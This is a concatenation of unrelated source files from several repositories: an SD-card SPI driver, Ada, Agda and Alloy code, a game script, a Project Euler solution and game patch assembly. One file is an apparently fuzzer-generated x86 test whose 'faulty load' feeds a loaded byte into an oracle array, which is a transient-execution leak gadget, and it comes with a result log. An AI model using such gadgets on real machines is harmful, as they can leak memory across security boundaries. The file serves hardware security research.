bsr.s readbyte ; 2
bsr.s readbyte ; 3
bsr.s readbyte ; 4
bsr.s readbyte ; 5
; now do cmd55 followed by acmd41
move.w #$9fff,d2 ; should be enough on a slow machine
inilp3 move.l #$77000000,d0 ; send command55 (special command to follow)
move.w #$87,d1
bsr.s snd_cmd
bne.s ini_err ; pb on send command
move.l #$69400000,d0 ; send acmd41 (sd_send_op_cond)
move.w #$87,d1
bsr.s snd_cmd ; reply will be 0 if success
bne.s ini_err
tst.b d1 ; check for correct reply from card
beq.s reply2 ; got correct reply
dbf d2,inilp3 ; didn't, so try again
bra.s ini_err ; if we get here, reply never was 0
reply2
move.l #$7a000000,d0 ; send command58 -read ocr
move.w #$87,d1
bsr.s snd_cmd ;
bne.s ini_err
bsr.s readbyte ; 1 get 4 more response bytes
move.b d0,d2 ; keep response 1
bsr.s readbyte ; 2
bsr.s readbyte ; 3
bsr.s readbyte ; 4
andi.b #$40,d2 ; is this an SDHC card?
beq.s ini_err ; no! -->
tst.b SPI_XFER_FAST(a2) ; yes, all good, set fast commo mode
moveq #0,d0
ini_out move.w (a7)+,sr
tst.b SPI_SELECT0(a2) ; deselect all
ini_rts bclr #7,sys_qlsd(a6) ; release device
movem.l (a7)+,inireg
tst.l d0
rts
ini_err moveq #err.mchk,d0
bra.s ini_out
;+++
; This routine reads a byte from an sdhc card through bit-banging.
; A byte is read bit by bit, the MSB comes first.
;
; d0 r byte read
; d1 s
; a2 c p pointer to interface base for the selected card
;
; no error return
;+++
readbyte
tst.b SPI_SET_MOSI(a2) ; output high
moveq #7,d1 ; dbf for 8 bits
moveq #0,d0 ; d0 will contain result
rblp tst.b SPI_CLR_SCLK(a2) ; set clock low
nop ; wait
tst.b SPI_READ(a2) ; got a bit ?
beq.s nextbit ; no
bset d1,d0 ; ... yes, show it
nextbit
tst.b SPI_SET_SCLK(a2) ; set clock high
dbf d1,rblp
rts
;+++
; This routine sends a command to an sdhc card. The command is 6 bytes long.
; Bytes are sent via bitbang.
; On entry d0 contains the first 4 bytes and d1.w the last two.
;
; d0 cr first 4 command bytes / error code
; d1 cr .W : 2 last command bytes / return byte
; d3 s
; a2 c p pointer to interface base
;
; status return 0 or ERR.MCHK (card didn't reply)
;---
; I could loop this, but it's just a few bytes anyway
snd_cmd
move.w d1,-(a7) ; sendbyte destroys d1
move.l d0,d3
moveq #-1,d0
bsr.s sendbyte ; (pretend to) send a byte (sends 8 clock pulses)
move.l d3,d0
rol.l #8,d0
bsr.s sendbyte ; send first byte
rol.l #8,d0
bsr.s sendbyte ; send next byte
rol.l #8,d0
bsr.s sendbyte ; send 3rd byte
rol.l #8,d0
bsr.s sendbyte ; send 4th byte
move.w (a7)+,d3
move.w d3,d0
ror.w #8,d0
bsr.s sendbyte ; penultimate byte
move.b d3,d0
bsr.s sendbyte ; last byte
; now wait for response
move.w #99,d3
waitlp bsr.s readbyte ; get response byte, myst be <>-1 if success
cmp.b #-1,d0 ; was reply -1 (=bad)?
bne.s got_rply ; ... no, so we're done ok
dbf d3,waitlp ; ... yes, command not finished yet
moveq #err.mchk,d0 ; if we get here, card didn't reply in time
rts
got_rply
move.b d0,d1 ; return byte
moveq #0,d0 ; all OK
rts
;+++++++++++++++++++++++
; This routine sends a byte to an sdhc card through bit-banging.
; A byte is sent bit by bit, the MSb comes first.
;
; d0 c p byte to send
; d1 s
; a2 c p pointer to interface base
;
; no error return
;+++++++++++++++++++++++
sendbyte
moveq #7,d1 ; dbf for 8 bits
sb_lp
btst d1,d0 ; is this bit set?
beq.s not_set ; ... no
bit_set tst.b SPI_SET_MOSI(a2) ; output high
bra.s common
not_set tst.b SPI_CLR_MOSI(a2) ; output low
common tst.b SPI_CLR_SCLK(a2) ; clock low
nop ; wait
tst.b SPI_SET_SCLK(a2) ; clock high
dbf d1,sb_lp ; do for all bits
rts
end
|
test/simple_test.adb | HeisenbugLtd/flac-ada | 5 | 5378 | <gh_stars>1-10
------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
-- FLAC/Ada
--
-- Very simple test program to check basic functionality.
------------------------------------------------------------------------------
with GNAT.IO;
with Flac.Debug;
with Flac.Reader;
procedure Simple_Test with
SPARK_Mode => On
is
Test_File : Flac.Reader.File_Handle;
use type Flac.Main_Error_Type;
use type Flac.Error_Type;
pragma Assertion_Policy (Check);
begin
Flac.Reader.Open (File => "doesnotexist.flac",
Flac_File => Test_File);
pragma
Assume
(Flac.Reader.Get_Error (Handle => Test_File).Main = Flac.Open_Error);
-- Expected result is an external dependency outside of SPARK.
Flac.Reader.Open (File => "notaflac.flac",
Flac_File => Test_File);
pragma
Assume
(Flac.Reader.Get_Error (Handle => Test_File).Main = Flac.Not_A_Flac_File);
-- Expected result is an external dependency outside of SPARK.
Flac.Reader.Open (File => "Unnamed.flac",
Flac_File => Test_File);
pragma
Assume
(Flac.Reader.Get_Error (Handle => Test_File) = Flac.No_Error);
-- Expected result is an external dependency outside of SPARK.
Flac.Debug.Print_Stream_Info (Handle => Test_File);
end Simple_Test;
|
src/fot/FOTC/Data/Nat/Inequalities.agda | asr/fotc | 11 | 2403 | ------------------------------------------------------------------------------
-- Inequalities on partial natural numbers
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOTC.Data.Nat.Inequalities where
open import FOTC.Base
infix 4 _<_ _≮_ _>_ _≯_ _≤_ _≰_ _≥_ _≱_
------------------------------------------------------------------------------
-- The function terms.
postulate
lt : D → D → D
lt-00 : lt zero zero ≡ false
lt-0S : ∀ n → lt zero (succ₁ n) ≡ true
lt-S0 : ∀ n → lt (succ₁ n) zero ≡ false
lt-SS : ∀ m n → lt (succ₁ m) (succ₁ n) ≡ lt m n
{-# ATP axioms lt-00 lt-0S lt-S0 lt-SS #-}
le : D → D → D
le m n = lt m (succ₁ n)
{-# ATP definition le #-}
gt : D → D → D
gt m n = lt n m
{-# ATP definition gt #-}
ge : D → D → D
ge m n = le n m
{-# ATP definition ge #-}
------------------------------------------------------------------------
-- The relations.
_<_ : D → D → Set
m < n = lt m n ≡ true
{-# ATP definition _<_ #-}
_≮_ : D → D → Set
m ≮ n = lt m n ≡ false
{-# ATP definition _≮_ #-}
_>_ : D → D → Set
m > n = gt m n ≡ true
{-# ATP definition _>_ #-}
_≯_ : D → D → Set
m ≯ n = gt m n ≡ false
{-# ATP definition _≯_ #-}
_≤_ : D → D → Set
m ≤ n = le m n ≡ true
{-# ATP definition _≤_ #-}
_≰_ : D → D → Set
m ≰ n = le m n ≡ false
{-# ATP definition _≰_ #-}
_≥_ : D → D → Set
m ≥ n = ge m n ≡ true
{-# ATP definition _≥_ #-}
_≱_ : D → D → Set
m ≱ n = ge m n ≡ false
{-# ATP definition _≱_ #-}
------------------------------------------------------------------------------
-- The lexicographical order.
Lexi : D → D → D → D → Set
Lexi m n m' n' = m < m' ∨ m ≡ m' ∧ n < n'
{-# ATP definition Lexi #-}
|
src/dnscatcher/dns/processor/rdata/dnscatcher-dns-processor-rdata-a_parser.ads | DNSCatcher/DNSCatcher | 4 | 7016 | -- Copyright 2019 <NAME> <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to
-- deal in the Software without restriction, including without limitation the
-- rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-- sell copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-- DEALINGS IN THE SOFTWARE.
with DNSCatcher.DNS.Processor.Packet; use DNSCatcher.DNS.Processor.Packet;
-- @description
--
-- RData processor for A records
--
-- @summary
--
-- Processes an A record into a IPv4 string
--
package DNSCatcher.DNS.Processor.RData.A_Parser is
-- Parsed A RData Representation
type Parsed_A_RData is
new DNSCatcher.DNS.Processor.RData.Parsed_RData with private;
type Parsed_A_RData_Access is access all Parsed_A_RData;
-- Converts a RR record to logicial representation
--
-- @value This
-- Class object
--
-- @value DNS_Header
-- DNS Packet Header
--
-- @value Parsed_RR
-- A parsed Resource Record from Processor.Packet
--
procedure From_Parsed_RR
(This : in out Parsed_A_RData;
DNS_Header : DNS_Packet_Header;
Parsed_RR : Parsed_DNS_Resource_Record);
-- Represents RData as a String for debug logging
--
-- @value This
-- Class object
--
-- @returns
-- An IPv4 String
--
function RData_To_String
(This : in Parsed_A_RData)
return String;
-- Represents the resource record packet as a whole as a string
--
-- @value This
-- Class object
--
-- @returns
-- String in the format of "A *IPv4 String*
--
function Print_Packet
(This : in Parsed_A_RData)
return String;
-- Frees and deallocates the class object
--
-- @value This
-- Class object to deallocate
--
procedure Delete (This : in out Parsed_A_RData);
private
type Parsed_A_RData is new DNSCatcher.DNS.Processor.RData.Parsed_RData with
record
A_Record : Unbounded_String;
end record;
end DNSCatcher.DNS.Processor.RData.A_Parser;
|
rts/gcc-9/adainclude/i-cstrin.ads | letsbyteit/build-avr-ada-toolchain | 7 | 23386 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- I N T E R F A C E S . C . S T R I N G S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1993-2010, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with System.Parameters;
package Interfaces.C.Strings is
pragma Preelaborate;
type char_array_access is access all char_array;
for char_array_access'Size use System.Parameters.ptr_bits;
pragma No_Strict_Aliasing (char_array_access);
-- Since this type is used for external interfacing, with the pointer
-- coming from who knows where, it seems a good idea to turn off any
-- strict aliasing assumptions for this type.
type chars_ptr is private;
pragma Preelaborable_Initialization (chars_ptr);
type chars_ptr_array is array (size_t range <>) of aliased chars_ptr;
Null_Ptr : constant chars_ptr;
function To_Chars_Ptr
(Item : char_array_access;
Nul_Check : Boolean := False) return chars_ptr;
-- function New_Char_Array (Chars : char_array) return chars_ptr;
-- function New_String (Str : String) return chars_ptr;
-- procedure Free (Item : in out chars_ptr);
-- Dereference_Error : exception;
-- function Value (Item : chars_ptr) return char_array;
-- function Value
-- (Item : chars_ptr;
-- Length : size_t) return char_array;
-- function Value (Item : chars_ptr) return String;
-- function Value
-- (Item : chars_ptr;
-- Length : size_t) return String;
function Strlen (Item : chars_ptr) return size_t;
-- procedure Update
-- (Item : chars_ptr;
-- Offset : size_t;
-- Chars : char_array;
-- Check : Boolean := True);
-- procedure Update
-- (Item : chars_ptr;
-- Offset : size_t;
-- Str : String;
-- Check : Boolean := True);
-- Update_Error : exception;
private
type chars_ptr is access all Character;
for chars_ptr'Size use System.Parameters.ptr_bits;
pragma No_Strict_Aliasing (chars_ptr);
-- Since this type is used for external interfacing, with the pointer
-- coming from who knows where, it seems a good idea to turn off any
-- strict aliasing assumptions for this type.
Null_Ptr : constant chars_ptr := null;
end Interfaces.C.Strings;
|
alloy4fun_models/trashltl/models/11/czrr9Jsfc5jPcuL9L.als | Kaixi26/org.alloytools.alloy | 0 | 463 | open main
pred idczrr9Jsfc5jPcuL9L_prop12 {
always some f : File | eventually Trash = Trash'
}
pred __repair { idczrr9Jsfc5jPcuL9L_prop12 }
check __repair { idczrr9Jsfc5jPcuL9L_prop12 <=> prop12o } |
scripts/Route14.asm | opiter09/ASM-Machina | 1 | 168557 | <filename>scripts/Route14.asm
Route14_Script:
call EnableAutoTextBoxDrawing
ld hl, Route14TrainerHeaders
ld de, Route14_ScriptPointers
ld a, [wRoute14CurScript]
call ExecuteCurMapScriptInTable
ld [wRoute14CurScript], a
ret
Route14_ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
Route14_TextPointers:
dw Route14Text1
dw Route14Text2
dw Route14Text3
dw Route14Text4
dw Route14Text5
dw Route14Text6
dw Route14Text7
dw Route14Text8
dw Route14Text9
dw Route14Text10
dw Route14Text11
Route14TrainerHeaders:
def_trainers
Route14TrainerHeader0:
trainer EVENT_BEAT_ROUTE_14_TRAINER_0, 2, Route14BattleText1, Route14EndBattleText1, Route14AfterBattleText1
Route14TrainerHeader1:
trainer EVENT_BEAT_ROUTE_14_TRAINER_1, 2, Route14BattleText2, Route14EndBattleText2, Route14AfterBattleText2
Route14TrainerHeader2:
trainer EVENT_BEAT_ROUTE_14_TRAINER_2, 4, Route14BattleText3, Route14EndBattleText3, Route14AfterBattleText3
Route14TrainerHeader3:
trainer EVENT_BEAT_ROUTE_14_TRAINER_3, 3, Route14BattleText4, Route14EndBattleText4, Route14AfterBattleText4
Route14TrainerHeader4:
trainer EVENT_BEAT_ROUTE_14_TRAINER_4, 3, Route14BattleText5, Route14EndBattleText5, Route14AfterBattleText5
Route14TrainerHeader5:
trainer EVENT_BEAT_ROUTE_14_TRAINER_5, 4, Route14BattleText6, Route14EndBattleText6, Route14AfterBattleText6
Route14TrainerHeader6:
trainer EVENT_BEAT_ROUTE_14_TRAINER_6, 4, Route14BattleText7, Route14EndBattleText7, Route14AfterBattleText7
Route14TrainerHeader7:
trainer EVENT_BEAT_ROUTE_14_TRAINER_7, 4, Route14BattleText8, Route14EndBattleText8, Route14AfterBattleText8
Route14TrainerHeader8:
trainer EVENT_BEAT_ROUTE_14_TRAINER_8, 3, Route14BattleText9, Route14EndBattleText9, Route14AfterBattleText9
Route14TrainerHeader9:
trainer EVENT_BEAT_ROUTE_14_TRAINER_9, 4, Route14BattleText10, Route14EndBattleText10, Route14AfterBattleText10
db -1 ; end
Route14Text1:
text_asm
ld hl, Route14TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
Route14BattleText1:
text_far _Route14BattleText1
text_end
Route14EndBattleText1:
text_far _Route14EndBattleText1
text_end
Route14AfterBattleText1:
text_far _Route14AfterBattleText1
text_end
Route14Text2:
text_asm
ld hl, Route14TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
Route14BattleText2:
text_far _Route14BattleText2
text_end
Route14EndBattleText2:
text_far _Route14EndBattleText2
text_end
Route14AfterBattleText2:
text_far _Route14AfterBattleText2
text_end
Route14Text3:
text_asm
ld hl, Route14TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
Route14BattleText3:
text_far _Route14BattleText3
text_end
Route14EndBattleText3:
text_far _Route14EndBattleText3
text_end
Route14AfterBattleText3:
text_far _Route14AfterBattleText3
text_end
Route14Text4:
text_asm
ld hl, Route14TrainerHeader3
call TalkToTrainer
jp TextScriptEnd
Route14BattleText4:
text_far _Route14BattleText4
text_end
Route14EndBattleText4:
text_far _Route14EndBattleText4
text_end
Route14AfterBattleText4:
text_far _Route14AfterBattleText4
text_end
Route14Text5:
text_asm
ld hl, Route14TrainerHeader4
call TalkToTrainer
jp TextScriptEnd
Route14BattleText5:
text_far _Route14BattleText5
text_end
Route14EndBattleText5:
text_far _Route14EndBattleText5
text_end
Route14AfterBattleText5:
text_far _Route14AfterBattleText5
text_end
Route14Text6:
text_asm
ld hl, Route14TrainerHeader5
call TalkToTrainer
jp TextScriptEnd
Route14BattleText6:
text_far _Route14BattleText6
text_end
Route14EndBattleText6:
text_far _Route14EndBattleText6
text_end
Route14AfterBattleText6:
text_far _Route14AfterBattleText6
text_end
Route14Text7:
text_asm
ld hl, Route14TrainerHeader6
call TalkToTrainer
jp TextScriptEnd
Route14BattleText7:
text_far _Route14BattleText7
text_end
Route14EndBattleText7:
text_far _Route14EndBattleText7
text_end
Route14AfterBattleText7:
text_far _Route14AfterBattleText7
text_end
Route14Text8:
text_asm
ld hl, Route14TrainerHeader7
call TalkToTrainer
jp TextScriptEnd
Route14BattleText8:
text_far _Route14BattleText8
text_end
Route14EndBattleText8:
text_far _Route14EndBattleText8
text_end
Route14AfterBattleText8:
text_far _Route14AfterBattleText8
text_end
Route14Text9:
text_asm
ld hl, Route14TrainerHeader8
call TalkToTrainer
jp TextScriptEnd
Route14BattleText9:
text_far _Route14BattleText9
text_end
Route14EndBattleText9:
text_far _Route14EndBattleText9
text_end
Route14AfterBattleText9:
text_far _Route14AfterBattleText9
text_end
Route14Text10:
text_asm
ld hl, Route14TrainerHeader9
call TalkToTrainer
jp TextScriptEnd
Route14BattleText10:
text_far _Route14BattleText10
text_end
Route14EndBattleText10:
text_far _Route14EndBattleText10
text_end
Route14AfterBattleText10:
text_far _Route14AfterBattleText10
text_end
Route14Text11:
text_far _Route14Text11
text_end
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_1267.asm | ljhsiun2/medusa | 9 | 86271 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x428a, %rsi
lea addresses_UC_ht+0x15da, %rdi
nop
nop
sub %r11, %r11
mov $0, %rcx
rep movsq
nop
nop
inc %rcx
lea addresses_WT_ht+0x194fa, %rsi
nop
nop
nop
cmp %r15, %r15
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0xe99e, %rsi
lea addresses_normal_ht+0x180fa, %rdi
nop
nop
nop
nop
nop
xor $37821, %r9
mov $78, %rcx
rep movsl
nop
nop
nop
nop
dec %rdi
lea addresses_normal_ht+0x7542, %rcx
xor %r9, %r9
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
and $0xffffffffffffffc0, %rcx
movntdq %xmm7, (%rcx)
nop
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x16cfa, %r11
nop
nop
nop
xor $48776, %rdi
mov (%r11), %r9d
nop
nop
nop
nop
nop
add $60466, %r15
lea addresses_normal_ht+0x1a6fa, %rsi
and %r11, %r11
mov $0x6162636465666768, %r15
movq %r15, %xmm6
and $0xffffffffffffffc0, %rsi
vmovntdq %ymm6, (%rsi)
nop
nop
nop
nop
nop
xor %r11, %r11
lea addresses_normal_ht+0x3cfa, %rdx
nop
nop
nop
nop
sub $26928, %rsi
movl $0x61626364, (%rdx)
nop
cmp $44460, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %r9
push %rax
push %rbx
// Store
lea addresses_UC+0x1c33a, %r9
nop
and %r8, %r8
movb $0x51, (%r9)
nop
nop
cmp $13829, %r14
// Faulty Load
lea addresses_normal+0x1c4fa, %rbx
nop
inc %r9
mov (%rbx), %r14w
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 10}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
problems/079/a079.adb | melwyncarlo/ProjectEuler | 0 | 19625 | <gh_stars>0
with Ada.Text_IO;
-- Copyright 2021 <NAME>
procedure A079 is
use Ada.Text_IO;
FT : File_Type;
Last_Index : Natural;
Passcode_Attempt_Str : String (1 .. 10);
File_Name : constant String := "problems/079/p079_keylog.txt";
Passcode : String (1 .. 10) := (others => ' ');
Passcode_Positions : array (Integer range 0 .. 9) of Integer :=
(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
Zero_Pos : constant Integer := Character'Pos ('0');
Index_Val : Integer := 1;
Digit_1, Digit_2, Digit_3, Swap_Val : Integer;
begin
Open (FT, In_File, File_Name);
while not End_Of_File (FT) loop
Get_Line (FT, Passcode_Attempt_Str, Last_Index);
Digit_1 := Character'Pos (Passcode_Attempt_Str (1)) - Zero_Pos;
Digit_2 := Character'Pos (Passcode_Attempt_Str (2)) - Zero_Pos;
Digit_3 := Character'Pos (Passcode_Attempt_Str (3)) - Zero_Pos;
if Passcode_Positions (Digit_1) >= Passcode_Positions (Digit_2) then
Swap_Val := Passcode_Positions (Digit_1);
Passcode_Positions (Digit_1) := Passcode_Positions (Digit_2);
Passcode_Positions (Digit_2) := Swap_Val;
end if;
if Passcode_Positions (Digit_2) >= Passcode_Positions (Digit_3) then
Swap_Val := Passcode_Positions (Digit_2);
Passcode_Positions (Digit_2) := Passcode_Positions (Digit_3);
Passcode_Positions (Digit_3) := Swap_Val;
end if;
end loop;
for I in 0 .. 9 loop
if Passcode_Positions (I) /= (I + 1) then
for J in 0 .. 9 loop
if Passcode_Positions (J) = (I + 1) then
Passcode (Index_Val) := Character'Val (J + Character'Pos ('0'));
Index_Val := Index_Val + 1;
exit;
end if;
end loop;
end if;
end loop;
Close (FT);
Put (Passcode);
end A079;
|
src/spawner/statistics.asm | mvdhout1992/ts-patches | 33 | 240010 | %include "macros/patch.inc"
%include "macros/datatypes.inc"
%include "TiberianSun.inc"
cextern SpawnerActive
cextern IsSpectatorArray
cextern SpawnLocationsArray
@LJMP 0x004BAC2C, _HouseClass__HouseClass_Allocate_UnitTrackerClass_Stuff
@LJMP 0x0060A79C, _Send_Statistics_Packet_Write_Statistics_Dump
@LJMP 0x005B4333, _sub_5B4290_Send_Statistics_Spawner
@LJMP 0x005B1E94, _Queue_AI_Multiplayer_Send_Statistics_Spawner
@LJMP 0x00509220, _sub_508A40_Send_Statistics_Spawner1
@LJMP 0x0050927A, _sub_508A40_Send_Statistics_Spawner2
@LJMP 0x005B4FAE, _Execute_DoList_Send_Statistics_Game_Leave
@LJMP 0x005B4FD3, _Execute_DoList_Send_Statistics_Game_Leave2
@LJMP 0x00609810, UseInternalMapNameInsteadFilename
@LJMP 0x006097FD, AddACCNField
@LJMP 0x00609D73, AddMyIdField
@LJMP 0x00609F40, _Send_Statistics_Packet_Write_New_Fields
section .rdata
str_MyIdField db "MYID",0
str_AccountNameField db "ACCN",0
str_stats_dmp: db "stats.dmp",0
str_HASH db "HASH",0
cextern MapHash
section .text
_Send_Statistics_Packet_Write_New_Fields:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ; PacketClass::Add_Field(FieldClass *)
; write 'SPC'
mov byte [0x0070FD0C], 0x53
mov byte [0x0070FD0D], 0x50
mov byte [0x0070FD0E], 0x43
; player number
mov byte [0x0070FD0F], bl
mov edi, [esi+0x20] ; value
mov edi, [IsSpectatorArray+edi*4]
push 10h
call 0x006B51D7 ; operator new(uint)
add esp, 4
test eax, eax
jz .new_failed1
push edi
push 0x0070FD0C
mov ecx, eax
call 0x00498A70 ; FieldClass::FieldClass(char *,ulong)
jmp short .Write_Alliances
.new_failed1:
xor eax, eax
.Write_Alliances:
push eax
lea ecx, [esp+0x18]
